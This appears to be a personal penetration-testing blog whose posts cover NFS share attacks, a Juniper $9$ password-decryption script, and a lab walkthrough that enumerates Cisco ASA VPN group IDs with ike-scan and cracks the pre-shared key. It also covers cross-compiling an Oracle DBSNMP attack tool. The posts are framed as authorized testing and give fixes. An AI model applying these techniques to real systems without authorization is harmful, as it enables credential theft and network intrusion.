Monday, February 27, 2012

NFS hacking

I had some fun last week with good old unprotected NFS shares. Still a valuable target during internal network penetration tests. Both for all sorts of interesting information that could be found shared through NFS and getting shell access to a systems through shared home directories. I am not going into the details how to do this as this is all well explained here. One of the tools that can be handy is become, which saves you from creating users with matching uids on your local system. The tool is quite old, but generally does the job. Last week however, I ran into some trouble using it. As it turns out become has trouble with uids > 65535 and displays the following error message:

become: uid out of range: Success

It was probably written in a time when uids were still 16 bits. Nowdays uids are 32 bits on most UNIX systems, which was also true on the system I was testing. I wrote a quick patch that can be found here, which allows you to specify a max uid of 4294967294.

Pentoo (overlay) users can emerge the updated ebuild. Happy NFS hacking!

Wednesday, October 26, 2011

quick post: Converting shellcode to opcodes

Mainly as a note to myself, but other people might benefit from this as well.

Last night I was looking for a way to convert small bits of shellcode into the equivalent opcode. While there is metasm-shell to convert opcodes to shellcode, there is no shell to do it the other way around. Metasm has disassemble.rb, but that's only file based. A quick question in #metasploit resulted in the following one liner, which worked perfectly:

echo -ne "\xeb\xe0" |ndisasm -u -
00000000  EBE0              jmp short 0xffffffe2

Monday, June 13, 2011

Juniper $9$ the equivalent of Cisco type 7

Some time ago during a configuration review of a Juniper JUNOS device I noticed some sort of hash format starting with $9$. Wondering what format was being used I searched on Google and found a website that was able to get the password instantly. This means that the password is stored in a reversable format and is not a real hash, but some sort of obfuscation. This is similar to the Cisco type 7 password obfuscation, which use the Vinegere algorithm. While you can find many tools to decrypt Cisco type 7 password there are no offline tools you could use for Juniper $9$. After some more searches I found a convenient Perl library named Crypt-Juniper, which allows you to decrypt $9$ passwords. While I am not an experienced Perl coder I wrote th following proof of concept within 5 minutes:

#!/usr/bin/perl

use lib '/some/path/Crypt-Juniper-0.02/lib/'
Use Crypt::Juniper;

my $hash = $ARGV[0];
my $secret = juniper_decrypt($hash);

print "secret: $secret \n";

Using the script is straight forward:

$ perl juniper-decrypt.pl \$9\$U-iqf36A1cSTzRSreXxDik.Tzn/CuBI
secret: ju&iper123

The current 2.0 beta version of Nipper does not warn you about the $9$ format at all. This issue was reported to Titania and the upcoming release of Nipper will report use of the $9$ format. Of course the remediation is easy, use MD5 based hashes ($1$ format) on Juniper JUNOS where possible.

Wednesday, March 9, 2011

Deluge bittorrent webUI behind reverse proxy

Maybe not strictly security related, but this might by handy for other people who also want to put their Deluge bittorrent webUI behind a reverse proxy. There are several tutorials available on the internet describing how to do this, but none of them work for the latest stable version (1.3.1) of Deluge. The webUI uses a lot of AJAX and gzip compression for some parts, which makes the use of a reverse proxy more complicated. I've used Apache (2.2.16) with the following enabled modules:

authz_host_module
deflate_module
dir_module
filter_module
headers_module
mime_module
proxy_module
proxy_http_module
rewrite_module
ssl_module
unique_id_module

Not all of them are needed, but most are needed for this setup. Here is the vhost I have configured:

<VirtualHost *:80="">

Servername dmz

ProxyRequests off
ProxyHTMLExtended on
ProxyPass /deluge http://127.0.0.1:8112/
ProxyHTMLURLMap http://127.0.0.1:8112 /deluge

Header unset Server

<location /deluge>
        ProxyPassReverse /
        ProxyPassReverseCookiePath / /deluge/
        SetOutputFilter INFLATE;proxy-html;DEFLATE
        ProxyHTMLURLMap / /deluge/ ec
        ProxyHTMLURLMap /deluge /deluge ec
        ProxyHTMLURLMap ([^*])(\/[^*].*) $1/deluge$2 hRxL
        #ProxyHTMLLogVerbose On
        Order allow,deny
        Allow from all
</Location>

</VirtualHost>

The webUI is running on a python based web server on port 8112.  The "Header unset Server" line will remove the following banner that is normally displayed by the web server:

Server: TwistedWeb/10.2.0

The SetOutputFilter line will inflate the gzip compressed data, modify it and deflate it again. If this configuration stops working for a new version of Deluge the ProxyHTMLLogVerbose option can be uncommented to debug. Also make sure the system running the webUI is able to make outbound connections to torrent trackers in the torrent file you are uploading or the webUI will take forever to load a new torrent file. Happy dowloading!

Tuesday, January 11, 2011

Quickpost: Running Gentoo and looking for updated John the Ripper ebuild?

I've just written an updated ebuild for John the Ripper, that includes:
- Latest OpenMP patches
- Latest jumbo patch
- Full OpenMPI support
- MSCache2 support

You can find the ebuild in the Pentoo overlay, which contains a lot of usefull pentest tools. Enjoy!

Wednesday, December 22, 2010

How hard could it be to brute force a Cisco IPsec VPN group id?

Apparently not as hard as you would think, due to a recently updated security advisory. The group id is used in Cisco IPsec VPN to distinguish a set of users that use common connection parameters and client attributes. Back in 2005 NTA Monitor discovered that a vulnerable Cisco IPsec implementation would reply to the IKE negotiation if the group name in the IKE message was valid, whereas an invalid group name would result in no response.

The new variant discovered by Gavin Jones of NGS Secure depends on the difference in response for the dead peer detection VID. Dead peer detection or DPD could be seen as a polling mechanism to see if the other IKE peer is still alive. I was wondering how difficult it would be to reproduce given the fact nobody else noticed it for 5 years or cared enough to inform Cisco about it. Since Cisco ASA is the only vulnerable product this would be the most interesting type of device to test, but since I don't have a physical device to test I used an emulated VMWare version provided by the ASA project. The vulnerability is only present when the ASA is used as a remote access VPN and I used this guide with Cisco ASDM to configure it. I could only use DES instead of 3DES or AES encryption, because you need a separate license for it and the virtual ASA simple crashes when you try to add one.


Once configured whe can use ike-scan to probe and test the device. I won't point you to the NTA monitor site, as it is currently reported as malicious website by Google, so be carefull. However if we use ike-scan to probe the ASA using IPsec aggressive mode without a group id using the following command we get no response:


# ike-scan -M -A 192.168.173.50
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)

Ending ike-scan 1.9: 1 hosts scanned in 2.437 seconds (0.41 hosts/sec).  0 returned handshake; 0 returned notify



If we specify a random group id we receive the following response:


# ike-scan -M --id=foobar -A 192.168.173.50
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.173.50    Aggressive Mode Handshake returned
    HDR=(CKY-R=0fb137a8ae462a21)
    SA=(Enc=DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
    KeyExchange(128 bytes)
    Nonce(20 bytes)
    ID(Type=ID_IPV4_ADDR, Value=192.168.173.50)
    Hash(20 bytes)
    VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity)
    VID=09002689dfd6b712 (XAUTH)
    VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
    VID=1f07f70eaa6514d3b0fa96542a500100 (Cisco VPN Concentrator)


If we guess the correct group id we will receive the following response:

# ike-scan -M --id=secret -A 192.168.173.50
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
192.168.173.50    Aggressive Mode Handshake returned
    HDR=(CKY-R=c27436032ea1c5fd)
    SA=(Enc=DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
    KeyExchange(128 bytes)
    Nonce(20 bytes)
    ID(Type=ID_IPV4_ADDR, Value=192.168.173.50)
    Hash(20 bytes)
    VID=12f5f28c457168a9702d9fe274cc0100 (Cisco Unity)
    VID=09002689dfd6b712 (XAUTH)
    VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)
    VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
    VID=1f07f70eaa6514d3b0fa96542a500100 (Cisco VPN Concentrator)


The DPD option that is added to the received response will allow us to distinguish between a valid and invalid group id. The PDP VID valua is static and does not change between requests with a valid group id. I was quite surprised that it was this simple. Once we know the valid group id we could save the pre-shared key with the --pskcrack option of ike-scan and use psk-crack consequently to perform a dictionary or brute force attack:


$ psk-crack testkey
Starting psk-crack [ike-scan 1.9] (http://www.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "cisco" matches SHA1 hash a0520306d83e6c642be92f9684c10dfcc409fede
Ending psk-crack: 70752 iterations in 0.194 seconds (364486.85 iterations/sec)



Now that we have the key does that mean the we have VPN access to the network? Unfortunately this is not the case, because commonly the IPsec gateway requests extended authentication through IPsec XAUTH. What we could do however is eavesdrop on another user connecting via IPsec and gain access to the XAUTH authentication credentials, as these are in clear text once we decrypt the IPsec network traffic wih the pre-shared secret we just cracked. Not very likely in a pentesting scenario, but maybe you are lucky and no XAUTH is used on the device you are pentesting.


ike-scan is not the best tool to perform a brute force of the group id in a convenient way, so luckily Francois Ropert recently submitted a Metasploit module to perform the brute force. Currently the module has not yet been added to trunk yet. According the Cisco security response the vulnerability will be fixed in February 2011. It is advised to disable IPsec aggressive mode as a workaround for this vulnerability.

Sunday, November 29, 2009

Compiling and running Windows programs on Linux

While the title of this post could make you wonder why you ever want to do this, there is actually a scenario where this comes handy. Let's say you downloaded exploit code or for instance the sample source code of the Database hackers handbook. In both cases you may encounter source code that requires a Windows development environment to compile. While Microsoft offers free express editions for many of their development tools, you still need a copy of Windows somewhere.

Last week I decided to try a different route with MinGW, which is a port of GCC that can be used to develop native Windows applications. If you want to use MinGW under Linux you have to build a cross compiler. Historically this has been a difficult task. On Gentoo Linux however there is a package named crossdev. Once installed this package automates the task of building a cross compiler. With the following command you can build a MinGW cross compiler:

$ sudo crossdev -t i686-mingw32

Building the cross compiler may take some time. Once installed the following command could be tried to compile one of the source code samples from the Database hackers handbook:

$ i686-mingw32-gcc C2_2.cpp -o dbsnmp.exe

However, you will receive receive several errors:
C2_2.cpp: In function ‘int StartWinsock()’:
C2_2.cpp:83: error: ‘isalpha’ was not declared in this scope
C2_2.cpp: In function ‘int QueryDBSNMP(int)’:
C2_2.cpp:128: error: ‘con’ was not declared in this scope
C2_2.cpp:128: error: ‘nect’ was not declared in this scope
C2_2.cpp:134: error: invalid conversion from ‘unsigned char*’ to ‘const char*’
C2_2.cpp:134: error:   initializing argument 2 of ‘int send(SOCKET, const char*, int, int)’
C2_2.cpp:135: error: invalid conversion from ‘unsigned char*’ to ‘char*’
C2_2.cpp:135: error:   initializing argument 2 of ‘int recv(SOCKET, char*, int, int)’
C2_2.cpp:142: error: ‘PrintResponse’ was not declared in this scope
C2_2.cpp:143: error: invalid conversion from ‘unsigned char*’ to ‘const char*’
C2_2.cpp:143: error:   initializing argument 2 of ‘int send(SOCKET, const char*, int, int)’
C2_2.cpp:144: error: invalid conversion from ‘unsigned char*’ to ‘char*’
C2_2.cpp:144: error:   initializing argument 2 of ‘int recv(SOCKET, char*, int, int)’
C2_2.cpp:152: error: invalid conversion from ‘unsigned char*’ to ‘const char*’
C2_2.cpp:152: error:   initializing argument 2 of ‘int send(SOCKET, const char*, int, int)’
C2_2.cpp:153: error: invalid conversion from ‘unsigned char*’ to ‘char*’
C2_2.cpp:153: error:   initializing argument 2 of ‘int recv(SOCKET, char*, int, int)’
C2_2.cpp:166: error: invalid conversion from ‘unsigned char*’ to ‘const char*’
C2_2.cpp:166: error:   initializing argument 2 of ‘int send(SOCKET, const char*, int, int)’
C2_2.cpp:167: error: invalid conversion from ‘unsigned char*’ to ‘char*’
C2_2.cpp:167: error:   initializing argument 2 of ‘int recv(SOCKET, char*, int, int)’

The error on line 83, about the isalpha function can be fixed by including ctype.h. The error about line 128 are caused by the extra minus sign in the connect function name. Script kiddie protection, who knows? The rest of the errors could be fixed by casting (char *) the send and receive buffers. Trying to compile again leaves us with one error:

C2_2.cpp:143: error: ‘PrintResponse’ was not declared in this scope

This error is caused by a missing declaration of the PrintResponse() function at the top of the source file. Once that error is fixed we encounter linking errors:
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x125): undefined reference to `_WSACleanup@0'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x158): undefined reference to `_WSAStartup@8'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x18d): undefined reference to `_WSACleanup@0'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x1b9): undefined reference to `_gethostbyname@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x20c): undefined reference to `_inet_addr@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x2cf): undefined reference to `_socket@12'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x30a): undefined reference to `_htons@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x32b): undefined reference to `_bind@12'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x343): undefined reference to `_closesocket@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x368): undefined reference to `_htons@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x38d): undefined reference to `_connect@12'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x3a5): undefined reference to `_closesocket@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x3e2): undefined reference to `_send@16'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x40d): undefined reference to `_recv@16'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x424): undefined reference to `_closesocket@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x476): undefined reference to `_send@16'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x4a1): undefined reference to `_recv@16'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x4b8): undefined reference to `_closesocket@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x50a): undefined reference to `_send@16'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x535): undefined reference to `_recv@16'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x54c): undefined reference to `_closesocket@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x58b): undefined reference to `_closesocket@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x5c3): undefined reference to `_send@16'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x5ee): undefined reference to `_recv@16'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x605): undefined reference to `_closesocket@4'
/tmp/ccf47BD7.o:C2_2.cpp:(.text+0x626): undefined reference to `_closesocket@4'
collect2: ld returned 1 exit status

All these functions are part of winsock library on Windows. What we need to do now is locate winsock.h on the local file system (use the one in the mingw directory, when multiple are found) and add the following options to our compile command:


$ i686-mingw32-gcc C2_2.cpp -o dbsnmp.exe -L/usr/i686-mingw32/usr/include/ -lws2_32

Finally our source compiled and linked and now we can run it with wine:
$ wine dbsnmp.exe



    Oracle DBSNMP Tool

    C:\>dbsnmp.exe host status|stop

    David Litchfield
    davidl@ngssoftware.com
    4th June 2004

Yeah, a running program at last!